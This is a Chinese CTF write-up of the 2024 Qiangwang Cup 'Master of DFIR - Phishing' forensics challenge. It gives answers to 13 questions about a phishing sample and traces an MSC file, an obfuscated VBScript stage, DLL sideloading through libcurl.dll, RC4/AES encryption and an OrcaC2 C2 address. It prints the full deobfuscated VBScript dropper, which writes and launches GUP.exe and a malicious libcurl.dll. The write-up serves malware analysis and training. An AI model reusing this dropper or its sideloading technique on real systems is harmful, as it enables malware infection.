2024强网杯Misc方向

Oyst3r 于 2024-11-04 发布

前言

好久没见到 CTF 中一些高质量的流量题目,qwb 总算是碰上几道了,遂记录 📝 一下这次比赛中的 Master of DFIR - CoffeeMaster of DFIR - Phishing这两个题目,下面是题目附件 📎–>

题目附件

Master of DFIR - Phishing

不限错误次数,答对之后出现下一个问题,一共有 13 个问题

Team token > ***
(1/13) 攻击者的邮箱是什么? (注意:MD5(攻击者邮箱), 以 cyberchef 的为准) 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > a8cd5b4ba47e185d4a69a583fde84da5
正确✅!
(2/13) 攻击者所投放的文件 md5 是什么? (注意: 以 md5sum 的结果为准) 示例:33ec9f546665aec46947dca16646d48e
请输入你的答案 > f436b02020fa59f3f71e0b6dcac6c7d3
正确✅!
(3/13) 攻击者所使用的攻击载荷后缀是什么? 示例:lnk
请输入你的答案 > msc
正确✅!
(4/13) 攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20
请输入你的答案 > 97
正确✅!
(5/13) 经过初始执行后, 攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript
请输入你的答案 > VBScript
正确✅!
(6/13) 攻击者所进行的第二部分载荷其将黑 DLL 存在了什么地方? (注意: 需要提供完成的解混淆后的第二部分载荷 s*******s 函数的参数) 提交需要 MD5(参数内容) 以 Cyberchef 结果为准 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > d2fabdcc28074462ac2379101836c938
正确✅!
(7/13) 攻击者使用的这个白 EXE 加载黑 DLL 的手法所对应的 MITRE ATT&CK ID 是什么? (注意: 请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000
请输入你的答案 > T1574
正确✅!
(8/13) 攻击者所使用的黑 DLL 劫持了原始 DLL 的哪个函数? 示例: main
请输入你的答案 > curl_easy_init
正确✅!
(9/13) 攻击者所使用的黑 DLL 解密下一阶段载荷所使用的算法是什么? 示例:chacha20
请输入你的答案 > RC4
正确✅!
(10/13) 攻击者所使用的下一阶段载荷的回连 C2 是什么? (注意: 需要提供 ip 地址: 端口的形式) 示例:127.0.0.1:5100
请输入你的答案 > 192.168.57.119:6000
正确✅!
(11/13) 攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES
请输入你的答案 > AES
正确✅!
(12/13) 攻击者所使用最终阶段载荷所使用的密钥的 MD5 是什么? (注意:MD5(密钥内容), 以 cyberchef 的为准) 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > a524c43df3063c33cfd72e2bf1fd32f6
正确✅!
(13/13) 攻击者使用了什么家族的 C2? 示例:PoshC2
请输入你的答案 > OrcaC2
正确✅!
恭喜你完成了所有任务, 这是你的 flag 🚩 -->  ***

上面是所有的 Q&A,下面记录每一小问的解题流程

1.发件人邮箱是 alice@flycode.cn cyberchef 梭了

2.下载邮件中的附件,放微步上计算文件的 md5

3.输入压缩包密码解压后就是 msc 文件

4.放到 cyberchef 中查看,定位到 92 行与 97 行有可疑的代码段

由于题干是”初始”执行语句,不难看出为 97 行的 js 脚本,js 脚本内容如下

javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)

显然是去加载了第 92 行的这个神秘代码

5.题目指明了是第二部分载荷,写个正则把这一部分的内容给提取出来

美化一下,不难发现是一个 VBScript 写的恶意脚本

6.这个 VBScript 中存在大量的垃圾代码以及这种用 chr()、Int()等函数做的混淆,去除这种混淆一般的做法就是脚本初步分析+AI 格式化,给一个 VB 脚本,用来 Execute 这种混淆的脚本。

Function Defuscator(vbs)
	Dim t
	t = InStr(1, vbs, "Execute", 1)
	t = Mid(vbs, t + Len("Execute"))
	t = Eval(t)
	Defuscator = t
End Function

Dim fso, i, outFile
Const ForReading = 1, ForWriting = 2
Set fso = CreateObject("Scripting.FileSystemObject")

' 创建或打开一个文件用于写入输出
Set outFile = fso.OpenTextFile("output.txt", ForWriting, True)

For i = 0 To WScript.Arguments.Count - 1
	Dim FileName
	FileName = WScript.Arguments(i)
	Dim MyFile
	Set MyFile = fso.OpenTextFile(FileName, ForReading)
	Dim vbs
	vbs = MyFile.ReadAll
	outFile.WriteLine Defuscator(vbs)
	MyFile.Close
Next

outFile.Close
Set fso = Nothing

脚本参考自–>H&NCTF–Baby_OBVBS WP,思路参考自–>脚本类恶意程序分析技巧汇总 ,将代码中混淆的部分一步一步的粘贴到源文件,然后运行这个 VBScript,得到解混淆之后的字符串,全部进行替换,得到如下的代码

Dim mscLL
mscLL = "_MSC"
For i = 1 To Len(mscLL) Step 4
    oFmXCTg = oFmXCTg & ChrW(CLng("&" & Chr(72) & Mid(mscLL, i, 4)))
Next
Set RTcxFmy = CreateObject("Microsoft.XMLDOM")
RTcxFmy.Async = False
RTcxFmy.Load(oFmXCTg)
AJ8p

Function Xk7fbp8v(inp)
    Dim q4XPbvoV
    Dim HxWK
    Set q4XPbvoV = CreateObject("MSXML2.DOMDocument")
    Set HxWK = q4XPbvoV.createElement("a")
    HxWK.DataType = "bin.base64"
    HxWK.Text = inp
    Xk7fbp8v = HxWK.nodeTypedValue
End Function

Function AJ8p()
    On Error Resume Next
    Dim AgUvcCuHzzbl
    Dim DfAV40y
    Dim gwqhhV
    Dim JJNe
    Dim Mw7U
    Dim O8B1OrkTW
    OMxa = "51734e8e7ec47ec753c252a07b2c516b5c4a201c5f3a7f51676f201d516856fd7f517edc5b895168631162188d5b7684901a77e5ff08003100316708003265e581f3003365e54e3e884c7ebf4e0a8d5bff09002e007000640066"
    Set AgUvcCuHzzbl = CreateObject("WScript.Shell")
    Set DfAV40y = CreateObject("Scripting.FileSystemObject")
    O8B1OrkTW = AgUvcCuHzzbl.ExpandEnvironmentStrings("%ProgramFiles%")
    P59b6scR2TD9 = O8B1OrkTW & "\Cloudflare"
    DfAV40y.CreateFolder(P59b6scR2TD9)
    gwqhhV = P59b6scR2TD9 & "\GUP.exe"
    JJNe = P59b6scR2TD9 & "\libcurl.dll"
    For i = 1 To Len(OMxa) Step 4
        FRURX = FRURX & ChrW(CLng("&" & Chr(72) & Mid(OMxa, i, 4)))
    Next
    Mw7U = DfAV40y.GetSpecialFolder(2) & Chr(92) & FRURX
    Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_TREE']")
    rqsgO2mBfu = aZPHxtz4(0).text
    UoLAunW = Xk7fbp8v(rqsgO2mBfu)
    Dim jXnaWeLQ12
    Set jXnaWeLQ12 = CreateObject("ADODB.Stream")
    jXnaWeLQ12.Type = 1
    jXnaWeLQ12.Open
    jXnaWeLQ12.Write UoLAunW
    jXnaWeLQ12.SaveToFile Mw7U, 2
    AgUvcCuHzzbl.run """" & Mw7U & """", 1, False
    Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU']")
    Ze1C = aZPHxtz4(0).text
    Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE']")
    JozMh9jg = aZPHxtz4(0).text
    AnZUOdqFuMEw = Xk7fbp8v(Ze1C)
    s4fr2y4Q7lvQ = Xk7fbp8v(JozMh9jg)
    Dim cHh5wARUext
    Set cHh5wARUext = CreateObject("ADODB.Stream")
    cHh5wARUext.Type = 1
    cHh5wARUext.Open
    cHh5wARUext.Write AnZUOdqFuMEw
    cHh5wARUext.SaveToFile gwqhhV, 2
    Dim BKzG1ldRw7
    Set BKzG1ldRw7 = CreateObject("ADODB.Stream")
    BKzG1ldRw7.Type = 1
    BKzG1ldRw7.Open
    BKzG1ldRw7.Write s4fr2y4Q7lvQ
    BKzG1ldRw7.SaveToFile JJNe, 2
    AgUvcCuHzzbl.run """" & gwqhhV & """ t 8.8.8.8, 0, False"
End Function

Public Function i9Vu0(ByVal Value, ByVal Shift)
    i9Vu0 = Value
    If Shift > 0 Then
        If Value > 0 Then
            i9Vu0 = Int(i9Vu0 / (2 ^ Shift))
        Else
            If Shift > 31 Then
                i9Vu0 = 0
            Else
                i9Vu0 = i9Vu0 And &H7FFFFFFF
                i9Vu0 = Int(i9Vu0 / (2 ^ Shift))
                i9Vu0 = i9Vu0 Or 2 ^ (31 - Shift)
            End If
        End If
    End If
End Function

Public Function PIvwo4QDjBC(ByVal Value, ByVal Shift)
    PIvwo4QDjBC = Value
    If Shift > 0 Then
        Dim i, m
        For i = 1 To Shift
            m = PIvwo4QDjBC And &H40000000
            PIvwo4QDjBC = (PIvwo4QDjBC And &H3FFFFFFF) * 2
            If m <> 0 Then
                PIvwo4QDjBC = PIvwo4QDjBC Or &H80000000
            End If
        Next
    End If
End Function

Public Function eUBp1LoLYEMy(ByVal num)
    Const rkLx = 5570645
    Const beweT2U = 52428
    Const d1 = 7
    Const d2 = 14
    Dim t, u, out
    t = (num Xor i9Vu0(num, d2)) And beweT2U
    u = num Xor t Xor PIvwo4QDjBC(t, d2)
    t = (u Xor i9Vu0(u, d1)) And rkLx
    out = (u Xor t Xor PIvwo4QDjBC(t, d1))
    eUBp1LoLYEMy = out
End Function

Public Function FTKaWvcYaGWt(ByRef MiCzi9())
    Dim i, fr, upJNNa, raw
    Dim a, b, c, d
    Dim YBx4PZLTHSQ1
    Dim a2, b2
    YBx4PZLTHSQ1 = ""
    For i = 0 To (UBound(MiCzi9) / 4 + 1)
        fr = i * 4
        If fr > UBound(MiCzi9) Then
            Exit For
        End If
        upJNNa = 0
        upJNNa = upJNNa Or PIvwo4QDjBC(MiCzi9(fr + 3), 24)
        upJNNa = upJNNa Or PIvwo4QDjBC(MiCzi9(fr + 2), 16)
        upJNNa = upJNNa Or PIvwo4QDjBC(MiCzi9(fr + 1), 8)
        upJNNa = upJNNa Or MiCzi9(fr + 0)
        raw = eUBp1LoLYEMy(upJNNa)
        a = Chr(i9Vu0((raw And &HFF000000), 24))
        b = Chr(i9Vu0((raw And 16711680), 16))
        c = Chr(i9Vu0((raw And 65280), 8))
        d = Chr(i9Vu0((raw And 255), 0))
        YBx4PZLTHSQ1 = YBx4PZLTHSQ1 + d + c + b + a
    Next
    FTKaWvcYaGWt = YBx4PZLTHSQ1
End Function

Public Function t4zFxxgg22(MiCzi9)
    Dim CYhV8N(), Liefs(), arrayByte3(255)
    Dim Rp7jaY2jOqr(63), arrayLong5(63)
    Dim Mbt0mzk6(63), NALQp0Gu3
    Dim b7Z9n8, iter, VKkZEf, ZyvKLLyyHHD
    Dim YBx4PZLTHSQ1
    MiCzi9 = Replace(MiCzi9, vbCr, vbNullString)
    MiCzi9 = Replace(MiCzi9, vbLf, vbNullString)
    ZyvKLLyyHHD = Len(MiCzi9) Mod 4
    If InStrRev(MiCzi9, "==") Then
        b7Z9n8 = 2
    ElseIf InStrRev(MiCzi9, "+" & "=") Then
        b7Z9n8 = 1
    End If
    For ZyvKLLyyHHD = 0 To 255
        Select Case ZyvKLLyyHHD
            Case 65 To 90
                arrayByte3(ZyvKLLyyHHD) = ZyvKLLyyHHD - 65
            Case 97 To 122
                arrayByte3(ZyvKLLyyHHD) = ZyvKLLyyHHD - 71
            Case 48 To 57
                arrayByte3(ZyvKLLyyHHD) = ZyvKLLyyHHD + 4
            Case 43
                arrayByte3(ZyvKLLyyHHD) = 62
            Case 47
                arrayByte3(ZyvKLLyyHHD) = 63
        End Select
    Next
    For ZyvKLLyyHHD = 0 To 63
        Rp7jaY2jOqr(ZyvKLLyyHHD) = ZyvKLLyyHHD * 64
        arrayLong5(ZyvKLLyyHHD) = ZyvKLLyyHHD * 4096
        Mbt0mzk6(ZyvKLLyyHHD) = ZyvKLLyyHHD * 262144
    Next
    Liefs = StrConv(MiCzi9, vbFromUnicode)
    ReDim CYhV8N((((UBound(Liefs) + 1) \ 4) * 3) - 1)
    For iter = 0 To UBound(Liefs) Step 4
        NALQp0Gu3 = Mbt0mzk6(arrayByte3(Liefs(iter))) + arrayLong5(arrayByte3(Liefs(iter + 1))) + Rp7jaY2jOqr(arrayByte3(Liefs(iter + 2))) + arrayByte3(Liefs(iter + 3))
        ZyvKLLyyHHD = NALQp0Gu3 And 16711680
        CYhV8N(VKkZEf) = ZyvKLLyyHHD \ 65536
        ZyvKLLyyHHD = NALQp0Gu3 And 65280
        CYhV8N(VKkZEf + 1) = ZyvKLLyyHHD \ 256
        CYhV8N(VKkZEf + 2) = NALQp0Gu3 And 255
        VKkZEf = VKkZEf + 3
    Next
    YBx4PZLTHSQ1 = StrConv(CYhV8N, vbUnicode)
    If b7Z9n8 Then YBx4PZLTHSQ1 = Left(YBx4PZLTHSQ1, Len(YBx4PZLTHSQ1) - b7Z9n8)
    t4zFxxgg22 = FTKaWvcYaGWt(StrConv(YBx4PZLTHSQ1, vbFromUnicode))
    t4zFxxgg22 = qY7AOEpU1wn(t4zFxxgg22, "~")
End Function

Function qY7AOEpU1wn(str, chars)
    Dim fqX3dbudmU
    Dim XVZECKbx()
    XVZECKbx = Split(str, chars)
    fqX3dbudmU = UBound(XVZECKbx, 1)
    If fqX3dbudmU <> 0 Then
        str = Left(str, Len(str) - fqX3dbudmU)
    End If
    qY7AOEpU1wn = str
End Function

然后继续进一步的分析 🧐,第一段没看出来有啥用,CLng()函数报错,然后调用 AJ8p 函数,这个函数里面做了很多的操作,仔细去一步步阅读不难发现里面去新建了路径,读取了隐藏在 xml 中的恶意的 16 进制字符,经过 base64 解码(Xk7fbp8v()函数是一个 Base64 解码的一个函数)后写到新创建 exe、pdf、dll 中,关键的代码如下–>

Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_TREE']")
rqsgO2mBfu = aZPHxtz4(0).text

Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU']")
Ze1C = aZPHxtz4(0).text
Set aZPHxtz4 = RTcxFmy.selectNodes("/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE']")
JozMh9jg = aZPHxtz4(0).text
AnZUOdqFuMEw = Xk7fbp8v(Ze1C)
s4fr2y4Q7lvQ = Xk7fbp8v(JozMh9jg)

然后再去用 Cyberchef 将原始的那个 msc 文件中将 CONSOLE_TREECONSOLE_MENUCONSOLE_PANE 分别提取出来进行 Base64 解码,便可以得到三个文件如下

pdf

exe

dll

那么第 6 题的答案也迎刃而解了,就是将这个路径–>/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_PANE']进行一次 md5 加密即可。

7.MITRE ATT&CK ID 的解释可以先参考一下这篇文章–>一文说清楚 MITRE ATT&CK 威胁框架,基本确定这个可能就是一个 APT 或者是一些大神发现的白+黑绕 EDR 的手法被开源出来,直接跑官网去搜了一下这个 dll 的名字libcurl.dll,第 7 题的答案便呼之欲出。

翻阅后基本确定是这个攻击手法,也就是本次题目的出处,下面是 MITRE 描述的这次事件的 Background

LookBack is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using LookBack.

阅读完上面对攻击手法的分析,做个小总结如下

该恶意软件具备命令执行、截图捕获、文件发现和系统关闭等功能,并使用 HTTP 进行命令与控制(C2)通信,采用 RC4 加密。它通过伪装成合法软件以逃避检测,同时支持持久化运行,利用注册表键进行隐匿

8.去这个网站深挖一下这个 dll 劫持或者是这个 LookBack 木马的详情,去文章下面给出的参考链接即可–>LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards

参考文献中的文章作者提到了这样的一段话–>

This dynamic link library appears to be a legitimate version of libcurl.dll except for a single exported function, which is referred to as ordinal #52 and curl_share_init in the analyzed sample. This function has been modified by threat actors to extract a resource contained within libcurl.dll, decrypt malicious data included in that resource, and load the resulting DLL to execute a malicious function. When this function is executed, the SodomNormal communications module begins running within Libcurl.dll. In addition to loading the communications module, the initial macro described above configures a persistence mechanism for this malware loader by setting up a Registry Run key. The non-concatenated command included in the macro that establishes persistence for Libcurl.dll and the hash for this sample are included below.

其中明确写到了,这个动态链接库貌似是正常的,但得除了curl_share_init这个函数,因为这个函数被劫持了,不仅去加载了通信模块,同时还做了持久化的维权操作,但是提交 curl_share_init 这个函数名字不对,可能是被题目作者修改了,只好去把上面提取出来的恶意 dll 文件放 IDA 里面静态分析一下。

先排除掉隐藏导入导出函数名字的情况,分别查看 exe 的 Imports 表和 dll 的 Exports 表,重合的函数有 curl_easy_initcurl_easy_setoptcurl_easy_performcurl_easy_cleanup 这四个函数,那就着重先看这个四个函数,查看下交叉引用很明显的就能发现 curl_easy_init 这个函数是一个被劫持的函数,其他三个函数都只是去 return 了 data 段中的值,只有 curl_easy_init 这个函数去调用了 sub_10001240()函数,且里面就是一段解密的函数,然后去分析这一段解密函数

Master of DFIR - Coffee

不限错误次数,答对之后出现下一个问题,一共有 9 个问题,这个题目是流量分析题目,上面那道更多的是去分析一次中钓鱼事件